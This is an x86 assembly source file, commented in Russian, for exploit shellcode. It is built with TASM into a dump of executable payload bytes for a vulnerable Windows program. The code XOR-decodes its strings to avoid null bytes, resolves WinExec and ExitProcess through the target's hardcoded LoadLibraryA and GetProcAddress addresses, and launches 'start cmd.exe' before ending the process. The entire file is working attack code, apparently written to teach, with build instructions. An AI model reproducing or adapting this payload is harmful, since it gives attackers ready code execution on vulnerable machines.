; ; explcode.asm - программа исполнительного кода эксплоита ; в результате компиляции и сборки получается дамп исполнительного ; кода эксплоита ; пример: ; tasm explcode.asm ; tlink explcode.obj, explcode.dmp /t /3 ; .386 _main segment para public 'CODE' use32 assume cs:_main ; настраиваемые параметры, зависящие от уязвимой программы и ; от дейстивий эксплоита LoadLibraryA equ NOT 00425160h ; адрес-смещение LoadLibraryA c ; инвертированием, так как 00h - символ ; конца строки GetProcAddress equ NOT 0042515ch ; адрес-смещение GetProcAddress с ; инвертированием, так как 00h - символ ; конца строки Func_count equ NOT 2 ; инвертированное кол-во импортируемыч ; функций start: ; сначала выполняется декодирование строковых констант xor eax, eax ; <- сюда указывает esp not eax mov edi,esp ; repnz scasd ; поиск признака начала строковых ; констант - 4х байт FF push edi ; сохраняем указатель на начало ; строковых констант xor ecx, ecx mov cl, coded_len ; длина декодируемой области ; цикл декодирования decode_loop: xor byte ptr [edi], 0ffh ; операция декодирования байта inc edi loop decode_loop mov ebp, edi ; в ebp сохраняем уменьшенное на 1 dec ebp ; смещение массива импортируемых ф-ий ; Func, -1 необходимо для исключения ; 00h из кода дальнейших инструкций ; вызов LoadLibraryA с параметром 'KERNEL32.DLL' ;HINSTANCE LoadLibrary( ; ; LPCTSTR lpLibFileName // строка имени модуля DLL ; ); pop edi push edi ; edi указывает на 'KERNEL32.DLL' mov eax, LoadLibraryA ; not eax ; инвертация константы LoadLibraryA call [eax] ; вызов LoadLibraryA mov ebx, eax ; в ebx - handle KERNEL32.DLL mov esi, Func_count ; not esi ; в esi - кол-во импортируемых ф-ий ; цикл вызовов GetProcAddress для получения адресов-смщений ; импортируемых ф-ий и заполнения массива Func func_loop: xor eax, eax mov ecx, eax ; not ecx ; \ repnz scasb ; перемещение к следующей строке-константе ; FARPROC GetProcAddress( ; ; HMODULE hModule, // handle DLL ; LPCSTR lpProcName // название ф-ии ; ); push edi ; параметр GetProcAddress - название ф-ии push ebx ; параметр GetProcAddress - handle KERNEL32.DLL mov eax, GetProcAddress not eax ; инвертация константы GetProcAddress call [eax] ; вызов GetProcAddress mov ds:dword ptr [ebp+esi*4+1-4], eax ; заполнение элемента ; массива Func, массив заполняется ; с конца dec esi or esi, esi ; проверка счетчика цикла jnz func_loop ; ; Адреса всех нужных функций сформированы, далее выполняется основная ; задача эксплоита - запуск командной лболочки xor eax, eax mov ecx, eax ; not ecx ; repnz scasb ; перемещение к следующей строке ; 'start cmd.exe' ;UINT WinExec( ; ; LPCSTR lpCmdLine, // адрес строки команды ; UINT uCmdShow // стиль окна для нового приложения ; ); xor eax, eax mov al, 57h shr al,4 ; занесение в еах числа 5 push eax ; параметр - стиль окна = SW_SHOW push edi ; параметр - команда = 'start cmd.exe' call [ebp+1+1*4] ; вызов WinExec ; завершение процесса уязвимой программы ;VOID ExitProcess( ; ; UINT uExitCode // код выхода ; ); xor eax, eax ; eax = 0 push eax ; параметр - код выхода = 0 call [ebp+1] ; вызов ExitProcess ALIGN 4 ; выравнивание по границе 4-х байт, необходимо ; для поиска инструкцией scasd, чтобы ; искомое значение попало в диапазон от edi до edi+4 dd 0ffffffffh ; признак начала строковых констант begin_coded: db 'KERNEL32.DLL',0 ; название загружаемой DLL db 'WinExec',0 ; - название импортируемых ф-ий db 'ExitProcess',0 ; / db 'start cmd.exe',0 ; исполняемая команда coded_len = $-begin_coded Func dd NOT Func_count dup(77777777h) ; массив адресов импортируемых ; функций db 0 _main ends end start